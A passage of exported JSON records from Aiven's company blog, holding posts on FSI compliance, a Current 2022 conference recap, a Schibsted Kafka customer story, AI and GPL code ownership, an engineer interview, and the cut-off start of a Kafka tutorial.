crucial that CTO, Brian Wagner, was able to balance data management with cybersecurity and remain compliant with national and international regulations. With its open source data platform, Aiven not only helped to balance these needs, but gave Revenir access to a collaborative community that continually seeks and develops innovative solutions to these challenges.\n\nMeanwhile, [Digital Asset Research (DAR)](https://aiven.io/case-studies/digital-asset-research-boosts-resiliency-with-aiven), the high-growth start-up in the marketplace of digital assets, has teamed up with Aiven to enhance data transparency and quality for more than 200 million trades per day, ensuring 99.99% uptime for scalable data streaming, lowering costs by 10%, and improving performance by 10 times.\n\n\u003e Aiven for Apache Kafka provides incredible resiliency which, given the importance of uptime to our business, is invaluable to us.\n**Michael Zimberg, Chief Technology Officer, Digital Asset Research**\n\nEnsuring your company is ready for 1 July 2025 when CPS230 comes into effect doesn’t have to be daunting or create additional workload and stress for your compliance and IT teams.  However, it does need to be well planned to ensure there are no surprises that could leave your organisation vulnerable.  Act now and make sure you choose the right technology partner who understands CPS230 and will deliver a robust, cross-cloud data management strategy that ensures total peace of mind and 24/7 compliance for your organisation.\n\n[Get in touch with Aiven](https://aiven.io/book-demo) to see how you can improve your compliance and risk management while also maximising your tech spend.\n\n\n","categories":[{"_key":"ed48fd325dfd","_ref":"1nf4L7bvQOLXPjLRjAxmDO","_type":"reference"},{"_key":"e3f3a9a0f8bb","_ref":"2mBcgNf20QQ0rW0XtSjzVs","_type":"reference"},{"_key":"83645ca2799f","_ref":"c8ba2bda-6228-45e2-b987-b3fdf836c6c9","_type":"reference"},{"_key":"b046a01aa2c2","_ref":"4b855c21-3b95-4460-928d-6ddccb375b43","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Understanding Data Management in the Face of Changing FSI Compliance Laws blog cover","asset":{"_ref":"image-288565a9779a22f3640e7f9be6dc1ee00bb602f3-1567x844-png","_type":"reference"}},"publishedAt":"2024-05-20T01:44:00.000Z","related":[{"_key":"bab450f51624","_ref":"c714d04b-cc8e-46fe-9d59-bbb0b097127e","_type":"reference"},{"_key":"6674ab60d5c0","_ref":"96b49d13-c145-4582-bb49-71ec502a7f36","_type":"reference"},{"_key":"5964861ccb33","_ref":"b8290949-b337-4c6f-8c24-d185ea77aa6c","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"FSIs face regulatory pressures to boost resilience and technology partners like Aiven can support them in meeting these demands. Find out more in our blog!","metaImage":{"_type":"mainImage","alt":"Data Management in the Face of Changing FSI Compliance Laws","asset":{"_ref":"image-288565a9779a22f3640e7f9be6dc1ee00bb602f3-1567x844-png","_type":"reference"}},"metaTitle":"Data Management in the Face of Changing FSI Compliance Laws"},"slug":{"_type":"slug","current":"/blog/understanding-data-in-the-face-of-changing-fsi-laws"},"subtitle":"Changing regulations are requiring FSIs to increase their resilience and protect their operations and customers against misadventure or attack.","title":"Understanding Data Management in the Face of Changing FSI Compliance Laws"}
{"__i18n_lang":"en","_createdAt":"2022-10-13T16:09:51Z","_id":"82a1637d-5efc-48bc-b332-3cd0959035d1","_rev":"h4ancfFTuSnQNBSq3IkmIO","_type":"post","_updatedAt":"2024-11-19T08:24:54Z","authors":[{"_key":"182d584e39b4","_ref":"165358df-fb36-400c-a384-d0874d19dfff","_type":"reference"},{"_key":"9f6aaa11244e","_ref":"3UGFZYFBoYjMPg7DR9R9YZ","_type":"reference"},{"_key":"72fdeed07de9","_ref":"d85943fb-1e96-4f71-84f9-91011d917141","_type":"reference"},{"_key":"736deb128e2d","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"}],"body":"The Aiven team was at the Current 2022 event last week joining many folks, speakers and the event streaming community in Austin. The event took place on October 4-5, 2022 and had the ambitious goal of expanding the grounds of the well-known and much-loved Kafka Summit. Current 2022 broadened the scope of the former Kafka Summit event to include a plethora of event streaming technologies and frameworks, including but not limited to real-time data processing, streaming storage, streaming databases and many other technological domains. \n\nAttendees who worried that Apache Kafka® would not receive enough attention in the conference agenda during Current 2022 were awestruck to see that the program committee managed to include 50% more Apache Kafka content this year! Nonetheless, the audience at Current 2022 was offered a bigger and wider range of sessions on a variety of topics such as real-time analytics, data governance and streaming. The session quality was so high this year that the only challenge was how to be in multiple locations at the same time. On our behalf, we would like to congratulate and thank the conference organizers and the entire program committee for giving us two days of amazing content! \n\nThose who prioritized networking could fully enjoy that as well. The event was packed with leaders and professionals from different industries across the whole spectrum of data technologies. Special attention was given to diversity and inclusion, which helped Current 2022 bring different people together to learn, share their experiences and expertise, and network in a supportive and encouraging environment.\n\nIn the following paragraphs, we'll do our best to transfer the atmosphere of the event and share some of our key observations from both the keynote and breakout sessions across both days of the conference.\n\n\n## Keynotes: Apache Kafka® and Streaming Era\n\nCurrent 2022 featured inspiring keynotes, focusing on real-time data streaming, its history, evolution, and the role that Apache Kafka® has played over the years, as well as giving us a glimpse of what’s in store for Kafka in the future.\n\n![keynote with Jun Rao](https://cdn.sanity.io/images/sczeoy4w/production/4b392ed6d565ebee5be682ca4194e851fb4cdf0f-1600x616.png)\n\nJay Kreps, CEO of Confluent, opened the first keynote of the conference talking about the key turning point in handling data and witnessing the rise of a major data platform. This data platform, like a central nervous system across any organization, will help to connect different outposts into a coherent environment that stores, connects, processes, governs and shares the data. The emergence of this streaming data platform unites operational databases, SaaS applications and analytical systems into a single ecosystem that drives innovation and unlocks an even broader set of use cases.\n\nTo illustrate this Glan Merlino, co-founder and CTO of Imply, and Anush Kumar, VP of Technology at Expedia, took the stage and shared their stories of how data streaming influences their products and business. Streaming data is all about constant change, which reflects life in a more authentic way.\n\nThe second keynote of the day was presented by Jun Rao, co-founder of Confluent, and covered the journey of Apache Kafka® through time; its history and the motivation behind its creation, how it evolved and what is the path for Apache Kafka® in the future.\n\nIn particular, Jun focused on the improvements that were made to Apache Kafka® and its wider ecosystem over the past year. Many of those focused on performance, security and reliability. More connectors, client libraries and a wealth of stream processing engines were introduced.\n\nOne of the notable changes that was implemented recently in Kafka was the replacement of Apache Zookeeper® as Kafka’s control panel with KRaft. Ismael Juma shared the story of KRaft, a new control panel that helps Kafka scale better and run with millions of partitions. The journey to build KRaft started 3 years ago, and finally with Kafka 3.3 it is production ready.\n\nJun was later joined on the stage by Pritha Mehra, Chief Information Officer at United States Postal Service and shared how Apache Kafka® enabled the USPS, using an event streaming architecture, to administer millions of COVID-19 test kits throughout the United States when the pandemic hit back in 2020. \n\n## Common Topics emerging from Current 2022\n\nWhile the sessions at Current 2022 covered multiple themes this year, we were able to identify some common topics among sessions, panel discussions and community conversations. Some of them were: \n\n### Data Governance is seen as paramount for event streaming\n\nAs the adoption of event streaming grows across organizations (and also within an organization), so does the complexity of managing and operating Kafka in a secure and compliant way. With more Kafka clusters and topics created by multiple teams and systems producing and consuming data from these topics, having a unified and centralized way to ensure that the right teams have access to the right streaming data oftentimes becomes a bottleneck for operations teams. \n\nAt Current 2022 we saw the theme popping up again and again in discussions and sessions. Specifically, Vanessa Burckard from the Social Security Administration discussed their approach of Data Governance as a Service for their internal teams, and how this helps streamline Kafka adoption for new use cases for the organization. Other discussions focused around how you can leverage a cloud service’s integrated security and governance controls to set up appropriate governance tooling for your Kafka environments. \n\nFrom Aiven’s side, we were happy to see an increased demand for data governance tooling around Kafka, as this is directly in line with our recent acquisition of Klaw (formerly Kafkawise) and our intention of building an open source community around it to ensure the appropriate governance between teams managing and building Kafka workloads. You can find more information about Klaw [here](https://aiven.io/blog/introducing-klaw-for-apache-kafka-governance).\n\n### Batch vs. Streaming: Is Batch going away? And what does the future hold for both?\n\nThroughout the conference, the theme of Batch vs. Streaming was apparent. Discussions covered how they can be unified, how batch processing’s performance can / must be improved for real-time applications, and more. There was even a dedicated panel discussion with Adi Polak, Amy Chen, Eric Sammer and Tyler Akidau discussing the state of streaming adoption today, and debating if streaming will ever fully replace batch. You can view some interesting points from the panel discussion in the [Twitter thread from Robin Moffatt]( https://twitter.com/rmoff/status/1577765190980014083?s=20\u0026t=B4mqi_FvH4UCa6ttISAGMg).\n\n### Getting performance right is not easy\n\nPerformance is always a hot topic in any tech conference, and Current 2022 was no exception. Several talks followed this theme, like Gunnar Morling’s \"Keep the Cache always fresh\" talking about CDC and caching mechanism; or Olena Kutsenko’s \"Beginners Guide to Balance Your Data Across Apache Kafka Partitions\" addressing the correct usage of partitioning.\n\nThe topic of performance was also discussed in Ben Gamble’s \"Going Multiplayer with Apache Kafka\" detailing how Kafka and stream processing can be used to power real-time multiplayer and multiuser interactions. The set of examples included a live chat, concurrent document editing, and even Minecraft. Ben was not only showing cool demos, but also reviewing and discussing some of the streaming data topologies required to support them. \n\nOn a similar topic, Francesco Tisiot's “Breathe in and breathe out: get Kafka Connect configs right” defined the struggles of starting with Kafka Connect and shared some magic tips to start a connector and keep it running properly. From preparing the field by creating the needed resources, passing on through validating the requirements and the network path, and finishing up with version control and automatic deployment, Francesco shared a lot of information that can make the Kafka Connect experience smoother and more reliable.\n\n## Diversity and inclusion\n\nSpecial place at Current 2022 was given to the support of members from underrepresented groups with a goal to build a diverse and inclusive community within data streaming.\n\nIn particular, at the panel #IamRemarkable, which was organized by Google, the panelists talked about how cultural and gender norms may prevent us from talking about our accomplishments and sharing our achievements. The leaders shared advice on how to overcome such challenges to improve self-promotion. \n\nIn addition, the 'Intersectional Happy Hour' that took place on the same day gave attendees from underrepresented groups and allies the opportunity to meet each other, network and chat in an informal setting. Those who didn’t have a chance to come to Intersectional Happy Hour joined the ‘Intersectional Speed Networking Hour’ on the second day of the conference. \n\n## Conclusion\n\n![keynote with Jun Rao about community](https://cdn.sanity.io/images/sczeoy4w/production/f8a0d47c2043ac48c7cf1920b6205c57bf2bfae6-1600x578.png)\n\nAt Current 2022 one thing became clear: Apache Kafka® is growing at an unprecedented pace as the adoption of streaming data becomes the de facto paradigm in building and maintaining modern data systems across organizations of any size and industry. And none of this would be possible without the Apache Kafka® community at its core. All those who share their time and energy to both contributing code to Kafka, and improving its community experience by sharing their expertise, are ensuring that Kafka continues to thrive as an ecosystem.\n\nWe at Aiven are beyond excited to be part of such a vibrant and inclusive community and cannot wait to meet them at a future conference about event streaming soon! \n\n![The catalysts group](https://cdn.sanity.io/images/sczeoy4w/production/401b9099922650bb2057373cc871d73dcfafd63b-1359x1091.png)\n\n\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.","categories":[{"_key":"9cde8c1d3853","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"8267ae7de930","_ref":"55hnoBwSNkFBrvJaZvuhgt","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","asset":{"_ref":"image-307b66ea827c8c5aa5a8c55a736ed25ad4374f4f-3133x1688-png","_type":"reference"}},"publishedAt":"2022-10-14T12:41:43.403Z","related":[],"seo":{"_type":"metaData","metaDescription":"Learn what our Aiven team thought of Current 2022, the successor to Kafka Summit. Get interesting insights from the event and learn about the key takeaways!"},"slug":{"_type":"slug","current":"/blog/current-2022-recap"},"subtitle":"Current 2022 was this year's successor to the Kafka Summit series of conferences. Read on to find out what our Aiven colleagues thought of this new event (hint: it was very good!).","title":"What is 'Current' with data streaming?"}
{"__i18n_lang":"en","_createdAt":"2023-06-09T07:38:46Z","_id":"7b886c5e-716d-4605-894a-41347e6a0801","_rev":"h4ancfFTuSnQNBSq3ImJwi","_type":"post","_updatedAt":"2024-11-19T08:39:05Z","authors":[{"_key":"a9bb6c49a932","_ref":"165358df-fb36-400c-a384-d0874d19dfff","_type":"reference"}],"body":"How do established media companies survive in the digital age? That’s the question challenging newsrooms and board meetings around the world. For Schibsted Media Group, the largest media group in Scandinavia, part of the answer has been expansion into the digital space and seeking to be data-driven.\n\nSchibsted is a world-class media house, and today offers financial services as well as online marketplaces that connect buyers and sellers throughout Europe’s Nordic region. It’s a highly successful model and advertising sales from the new marketplaces has become a major revenue stream for the business. In Q4 2022, Nordic Marketplaces delivered underlying revenue growth of 6% driven by double-digit growth in classifieds revenues. It’s also a model that relies on high-performance IT systems and rapid data throughput, explains Joanna Eriksson, Staff Data Engineer, Schibsted.\n\n## Handling variable traffic volumes\n\nEriksson’s team enables collection and distribution of behavioral data which allows to create value in multiple ways: by enabling news sites to cover most relevant news fast, to deliver personalized experience for marketplaces users and enable advertisers to deliver targeted messaging. It’s a complex system that handles 1.2 billion ‘events’ every day. On normal days, peak traffic is about 90,000 events per second while on the occasion of major breaking news it can increase by 50%.\n\nAbout seven years ago, Schibsted set-up its data processing pipeline for tracking events and to transfer event data between various applications at speed. It used an Apache Kafka® cluster hosted in Amazon Web Services — the cloud made it easier and more cost effective to manage the regular spikes in traffic volume. “The cloud enables us to focus on our core business. It’s good to be able to abstract away a lot of the operations that come with having our own physical hardware,” explains Eriksson.\n\n“We chose Apache Kafka as our data-streaming platform because it’s ideal for event-driven applications and near real-time data transfer,” Eriksson says. “It’s well known for its excellent performance, low latency, fault tolerance and high throughput. It's capable of handling hundreds of thousands of events per second. It was just what we needed and unlocked new use cases.”\n\n## Resiliency equals revenue\n\nAt the beginning, the open-source technology delivered what Schibsted needed but as demands increased, its performance was put under increasing pressure. The Kafka platform is critical because it directly impacts the EUR 230 million Schibsted generates each year through ad revenue. As Eriksson explains, “If the Kafka pipeline goes down, it impacts our ability to measure and understand user activity which also directly affects revenue from advertising. The link is very clear.”\n\nSchibsted’s digital media subscriptions also generate significant and growing revenues for the company. “Subscription customers rightly expect to see relevant content when they log in,” says Eriksson. “And that content is based on the data that we collect and provide. The paid experience needs to be superior to the free experience.”\n\nThe Kafka cluster therefore needs to be highly stable, and Eriksson’s team was becoming increasingly concerned that the stability it needed was lacking. “We were pushing our Kafka cluster to the limit with heavy workloads. Our team needed to become Kafka experts to keep the system optimized. It just wasn’t possible,” says Eriksson.\n\n## Delivering 99.99% uptime\n\nThat’s when Aiven came on to the scene and Schibsted switched to Aiven for Apache Kafka®, running on AWS. With Aiven managing the system on its behalf, Schibsted is now benefiting from 99.99% uptime providing Eriksson’s team with the reassurance it needed. The service has resulted in significant improvements in stability, even in periods of very high traffic when it comfortably handles 135,000 events per second, much more than was possible previously.\n\n\u003e “We have millions of Euros in ad revenue depending on this system so the potential downstream impact of interruption to our Kafka service is huge,” says Eriksson. “With Aiven for Apache Kafka, at last we have a high performance, low latency and super resilient platform managed by someone else.”\n\nOn the occasion when issues do arise, Schibsted has access to the Aiven support team 24/7 to figure out what is going on and fix it. “The Kafka experts at Aiven have gone above and beyond what we expected, even advising on elements that fall outside what is managed by Aiven. They’ve helped us with debugging issues in our own applications and advised on parameters we can tweak on our side to optimize the performance of the system,” Eriksson says.\n\n\u003e “You can’t predict when issues will happen—they usually end up being at really inconvenient times like Christmas eve rather than 10am on a Monday,” says Eriksson. “Now we have Aiven experts who can help us figure things out in those stressful situations so no more festive panics for us!”\n\nAs Schibsted continues to deliver more user and customer value through its marketplaces, and strengthens its classifieds offerings, the work of Eriksson’s team will become even more critical to the business. With Aiven for Apache Kafka, the team has a resilient Kafka cluster that can keep pace with the business and scale as required.\n\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog).","categories":[{"_key":"b49760984a04","_ref":"5xudGcikDUGEMuFsHkfr0z","_type":"reference"},{"_key":"45655d240ed0","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"},{"_key":"5d40c129e531","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"customerStoryTag":{"_type":"customerStoryTag","company":{"_ref":"5cvXfd4th8X0qfJIQWtMUN","_type":"reference"},"ctaText":"Read the customer story","previewImage":{"_type":"mainImage","asset":{"_ref":"image-ee19976ad18c2020d5cc0d6c1b33ac33af301ef7-3295x1724-png","_type":"reference"}}},"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Protecting Data-Driven Revenues at Schibsted","asset":{"_ref":"image-ee19976ad18c2020d5cc0d6c1b33ac33af301ef7-3295x1724-png","_type":"reference"}},"publishedAt":"2023-06-09T07:56:48.592Z","related":[],"seo":{"_type":"metaData","metaDescription":"Schibsted Media Group relies on Aiven’s Apache Kafka® for stable, timely data insights, boosting business value. Find out more about the cooperation!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-1fd19c105f01a2e214a87a2190cfe9db07c8ee0d-3295x1724-png","_type":"reference"}},"metaTitle":"Protecting Data-Driven Revenues at Schibsted"},"slug":{"_type":"slug","current":"/blog/protecting-data-driven-revenues-at-schibsted"},"subtitle":"Aiven helps Schibsted Media Group maintain a stable Apache Kafka® cluster essential to making timely data-driven business decisions and creating business value out of data ","title":"Protecting Data-Driven Revenues at Schibsted"}
{"__i18n_lang":"en","_createdAt":"2024-09-23T08:48:37Z","_id":"683f7571-0cb4-41a0-b151-2e2c89b41404","_rev":"T130WEs22RB6SoEkOBf1MG","_type":"post","_updatedAt":"2024-11-19T08:41:16Z","authors":[{"_key":"692262bec92f","_ref":"6kbIS9XcSGAirsTtwXqhdf","_type":"reference"}],"body":"The difference between working on open source software (OSS) and a commercial or proprietary product comes down to how that software is licensed. The latter is the intellectual property of an individual or company and cannot be tampered with by external developers, additionally, more often than not, its source code is only available to its creator. There is a long list of licenses that govern open source software. We have licenses that are, so called, permissive and others, so called copyleft. The General Public License (GPL) family of licenses belongs to this latter subgroup, the copyleft one. As with all open source licenses, it is intended to guarantee freedom to use, share and change all versions of a program. However, the license has a condition which means any modification of the software needs to be released under the same license as the original. If a developer is modifying a piece of code under a GPL license, it means that whatever comes out the other end also needs to be covered by the same license. This is a way to guarantee that the software under this license will remain forever open source.\n\nIn the days before AI, this was well known and many companies had policies on which type of licensed open source software was fine to include or copy over. And this worked fine because code snippets had a usually traceable lineage. However today, that is not the case which has created a legal landmine. A developer might be using AI for assistance, sometimes sharing a problem statement that the AI should provide some code for and possibly making minor tweaks to what AI suggests but the problem is, where is this code coming from? This is challenging on a number of levels. We looked at the practicalities in an earlier blog but, from a moral and ethical point of view, it is one of the main drivers fanning the flames of the ownership of creativity debate.\n\n## A monkey called Naruto\nWe can chart this back to a monkey. Not Darwin (we’re way ahead of him now) but a monkey called Naruto. You may not know him by name but you’ll likely have seen his face. He’s famous for taking a (brilliant) selfie in 2011 with a wildlife photographer’s camera. It also started a years-long saga in which the U.S., The Copyright Office and even Wikipedia weighed in over the issue of ownership. The upshot being that it was agreed, by law, that the only group able to own creativity are us humans - not animals and certainly not machines.\n\nBringing it back to AI, what this sentence tells us is that anything that is not human cannot create something new. That they do not have the capacity for creativity but, instead, can only tweak existing materials. Because of this, it means copyright can only be attributed to something new and therefore any modification is opening the door to copyright infringement.\n\nThat means that, legally speaking, machines cannot own copyrights because they are not creating things but taking things that already exist, making this output a derived work and not a novel one. Even the world’s most powerful wizard isn't immune. There are stories of AI regurgitating elements of the Harry Potter script as new ideas while, only last year, Stephen Fry said his voice was stolen from the Harry Potter audiobooks and replicated by AI. This isn’t to say that AI is the source of all copyright issues. We humans have been dealing with this controversy for years, for example in music where authors get inspiration from others (most recently with Ed Sheeran v Marvin Gaye) or the replication in storylines from Dune to Star Wars. The difference now is that machines are involved and cannot be judged by the same standards purely because we have deemed that only humans are capable of innovating and creating.\n\n## The law of unintended consequences\nThe technology world is in a state of permanent reflection regarding this matter. What is creativity? Can machines be creative and do we want them to be? Are we opening the door to Skynet and is the fear real? Professor Stephen Hawking told the BBC in 2014 that, “The development of full AI could spell the end of the human race….It would take off on its own, and re-design itself at an ever increasing rate. Humans, who are limited by slow biological evolution, couldn’t compete, and would be superseded.” \n\nWhat we can gather from this is that, if we agree that machines can create, it solves today’s problem. They can create new work based on code they learned from GPL license software and be influenced by multiple sources, much like we do as humans. Unfortunately this is almost the embodiment of ‘the law of unintended consequences’. We might solve copyright infringement today but it might come at great expense in the long run. \n\n## Balancing innovation with integrity\nIn order to move forward, what is required is traceability. Users of AI, and in this particular case, developers, need to know exactly where code originates from so they know what they’re working with. The most common OS licenses already require attribution but, if AI learns from projects licensed under those ones and outputs a piece of code that is almost verbatim to it, the traceability and attribution gets lost which is where the problems start. Maybe licensing will come that will prevent source codes to be used in training so we can mitigate this issue but, even still, attribution would still be a problem that remains to be solved.\n\nWe also addressed ways that organizations can help protect themselves and developers in a piece that explored the set-up and remit of an AI Tactical Discovery team - more on that here.  The bigger picture is that we need to start imposing guardrails on what AI can and cannot do. This is happening or being considered at a regulatory level. For example, the UK recently released the outcome of a consultation with an ‘approach that is strongly pro-innovation and pro-safety’. Most of the software foundations are coming up with their own set of guidelines too because, as AI creativity capabilities grow, we'll have to grapple with how to balance innovation with integrity. \n\nHow can we use AI to spark human creativity while still cherishing that special, intangible touch only a person can bring?\n","categories":[{"_key":"ecde468750da","_ref":"7fac76c7-74bf-44f8-8ec0-ea262286d712","_type":"reference"},{"_key":"7dc633a36c48","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"},{"_key":"5464d0c76e3f","_ref":"4b855c21-3b95-4460-928d-6ddccb375b43","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-97b374e5e01e3bc2a75078da6cbb03b10a832296-1200x628-jpg","_type":"reference"}},"publishedAt":"2024-09-25T08:48:00.000Z","related":[{"_key":"f4ba7c98d037","_ref":"570e4d76-e2c9-43c4-92bb-043f7d4b29dc","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"AI-generated content ownership raises intellectual property questions, especially in software development. Find out more in the Aiven blog! ","metaTitle":"Navigating the Creative Commons"},"slug":{"_type":"slug","current":"/blog/navigating-the-creative-commons-ai-ownership-and-software-development"},"subtitle":"The debate surrounding AI-generated content ownership has raged since the technology's inception. Despite significant advancements, the question of creative rights remains unresolved. This is particularly problematic in software development, where AI's influence can often be subtle and overlooked. To fully grasp the implications, it's essential to delve into the complex landscape of intellectual property and licensing.\n","title":"Navigating the Creative Commons: AI, Ownership, and Software Development"}
{"__i18n_lang":"en","_createdAt":"2023-10-04T06:42:07Z","_id":"76e20acf-16a0-494f-8632-622f1d945ed5","_rev":"h4ancfFTuSnQNBSq3Ixgc0","_type":"post","_updatedAt":"2024-11-19T09:58:44Z","authors":[{"_key":"e70aff5c9f18","_ref":"1f5a7de4-2542-47c7-a37f-3205cc6fcdcf","_type":"reference"}],"body":"Discover what we can offer engineers like Holger, plus the many different ways you can progress. And find out how our tech experts are helping us to  shape an exciting future for everyone.\n\n### Please tell us a bit about yourself.\n\nI’ve been with Aiven for around a year and a half now. I started my career in software development in the 80s on the Sinclair ZX Spectrum. I then moved into Frontend, Perl, C# and Java before switching to engineering management, working for companies such as eBay and OneFootball.\n\nMy pivotal moment was experiencing how DevOps, CI/CD, and agile XP completely transformed the productivity and culture of a whole company. That’s why my ethos now is to help teams deliver great, fully functioning software that customers actually use.\n\n### How would you define your role at Aiven?\n \nI joined Aiven because I saw the gigantic breadth of talent working here and the great business model, together with the focus on open source and engineering. Plus Crab Week and the social shell-ebrations, of course!\n\nAs VP Engineering in Product, I have the honor to lead the engineers and managers in product development. We build the platform and products that the company sells and operates. I’m based in Berlin, although my favorite city when I was younger was Prague.\n\n### How would you describe the key aspects of our engineering culture and our guiding values?\n\nGreat question! Contribution to the code base is at the heart of it. Not just quantity but quality – the ability to create value for our customers. Reliability and security are key – we want customers to know that their data and their wider business are safe with us.\n\nIn addition, we are always looking to improve our operational awareness, task automation, and end-to-end ownership of teams for product streams.\n\n### How do these values translate into hiring?\n\nWe’re building products for other engineers, so we need to solve problems that other developers cannot. Anyone who wants to join us therefore has to meet very high standards. It’s why you will find a lot of passionate engineers at Aiven, along with managers who support their teams and are really driven by customer satisfaction. \n\nThe unique rooting in open source means our Open Source Program Office (OSPO) team is first-class – and not just within our company. A colleague recently helped drive a big OSS project as a consequence of his work at Aiven. \n\n### Can you describe some recent projects?\n\nThere’s always a lot going on. Every employee – and customer – can contribute, thanks to our approach and because our roadmap is public – see https://ideas.aiven.io/\n\nI’m currently really excited about Pgvector (vector search in Postgres), which lets customers effectively build up AI applications. \n\nIn the event-streaming ecosystem, we are focusing on tiered storage and are planning to run Apache Kafka® without Apache Zookeeper™. This is tremendously interesting from a performance and operations point of view. A big change recently was the introduction of free tiers for many products, which required a lot of changes in the web console and backend. \n\nBut what really makes me happy are the ongoing improvements regarding internal developer experience, such as better tooling, faster test automation and greater observability. \n\n### How do these projects contribute to the company's overall mission and growth?\n\nWe want to be the trusted open-source data platform for everyone, so it should be as easy as possible for engineers to find out about us and explore our services. Free tiers and credits for new customers help with that. \n\nWe are growing alongside our customers and are always learning how to serve them best. That’s whether it’s a single engineer project, start-up, scale-up, or large enterprise. Innovative features like tiered storage, ZooKeeper-less Kafka, Pgvector, and the OpenSearch® Security plugin unlock new capabilities for existing and new customers. \n\n### Tell us more about the complex technical or strategic challenges the team has encountered.\n\nCustomer centricity is really important, but sometimes it can become challenging if customers use technology in unintended ways. For example, choosing Kafka as a substitute for a relational database or having one PostgreSQL® instance with thousands of tables. \n\nAgain, reliability is key. Being able to build, test, deploy and operate hundreds of thousands of nodes in production requires continuous work on CI/CD, and on our architecture and practices. Our aim is to always be the first to know if something might become an issue. \n\n### How does Aiven support professional development for our engineering team members?\n\nIn my short time here, I have seen so many engineers progress, and not just via promotion. For example, by changing teams or roles – from engineer to engineering manager, product manager, or site reliability engineer (SRE).\n\nExploring all parts of the Aiven platform is encouraged and can take many forms. Learning a new programming language or technology, for instance, or spreading from Python backend engineer towards kernel or network layers, SRE or becoming “full-stack”, covering web development and backend. I think most colleagues would say they’re always learning.\n\n### What advice would you give to anyone wanting to join the engineering team?\n\nGet to know your team and the code base your team is responsible for and start contributing. Like any good Crab, you should never sit still! Openness is a key value – everyone can read executive team meeting agendas, while most Slack channels are public. It’s  part of the culture to allow access to as much information as possible – so take advantage of that. \n\n### Aiven celebrates sideways thinking – in what ways are you a sideways thinker? \n\nI think the depth of commitment to building on open source is an excellent demonstration of this principle. So not just benefiting the company but giving back to communities via our OSPO team. Also our internal Plankton Program, which compensates employees for their free-time contributions to other open source projects. Most so-called forward-thinking companies don’t offer anywhere near what Aiven does – so long live sideways thinking! \n\n### Is there anything in particular you are excited about in Aiven’s future? \n\nYes – lots! I am particularly excited about the next steps in Product - we are exploring how to move from offering single-data technologies to solving customers' broader challenges. We are pushing the boundaries of what’s possible in multi-cloud, including autoscaling, replication, backup, observability and making it even easier to solve customer data use cases. I believe that this will allow a lot of customers to run their innovative applications even more effectively.\n\nInterested in joining the Cast? Check out our [open positions](https://aiven.io/careers). And keep your eyes peeled (sideways) on the blog as we continue to meet more of our clawsome Cast of Crabs. \n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n","categories":[{"_key":"68421a1b6213","_ref":"f71aca49-b430-43f6-a9a2-17863e4c6a16","_type":"reference"},{"_key":"70292ce480dd","_ref":"44deb165-f752-4b24-903a-c488e0b6012c","_type":"reference"},{"_key":"13258ebadca0","_ref":"8fa4c846-517b-4a03-87e3-aa28ad26cce6","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-8af50976043526ba5898315292d65ae09f9a6122-1567x844-png","_type":"reference"}},"publishedAt":"2023-10-04T07:08:00.000Z","seo":{"_type":"metaData","metaDescription":"Planning a tech career move? Holger Hammel, VP Engineering in Product at Aiven, gives practical tips and valuable insights to help you find the right path."},"slug":{"_type":"slug","current":"/blog/holger-hammel-why-moving-sideways-is-the-way-forward"},"subtitle":"If you’re planning your next career move in tech, check out this interview with our VP Engineering in Product. It will be sure to point you in the right direction!","title":"Holger Hammel – why moving sideways is the way forward"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"6xbjYN3okA8TEf7gQ51txP","_rev":"h4ancfFTuSnQNBSq3JBS9E","_type":"post","_updatedAt":"2024-11-19T10:58:07Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"In our previous post [What is Apache Kafka®?](https://aiven.io/blog/what-is-apache-kafka), we introduced Apache Kafka, where we examined the rationale behind the pub-sub subscription model. In another, we [examined](https://aiven.io/blog/how-are-your-microservices-talking) some scenarios where loosely coupled components, like some of those in a microservices architecture (MSA), could be well served with the asynchronous communication that Apache Kafka provides.\n\n\u003e [Apache Kafka](https://kafka.apache.org/) is a distributed, partitioned, replicated commit log service. It provides all of the functionality of a messaging system, with a distinctive design.\n\nIn this blog, we’ll look at the Pub/Sub model and examine why it’s an excellent choice for asynchronous communication and loose coupling of components. Then, we’ll set up an Aiven Kafka instance, implement a producer and a consumer, and finally run it all together.\n\n## The Pub/Sub model - producers and consumers\n\n![Kafka schematic](https://cdn.sanity.io/images/sczeoy4w/production/f8b2a08cd471cee0907fae8b7bf6fcb16f92986e-1843x711.png)\n\n\n__Source: Martin Kleppmann's Kafka Summit 2018 Presentation,__ [Is Kafka a Database?](https://www.youtube.com/watch?v=v2RJQELoM6Y)\n\nAs noted previously, Apache Kafka passes messages via a publish-subscribe model where software components called __producers__ append events to distributed logs called __topics__, which are essentially named, append-only data feeds.\n\n__Consumers__, on the other hand, consume data from these topics by offset (the record number in the topic). When consumers get to decide what they will consume, it is less complicated than it would be with producer-based routing 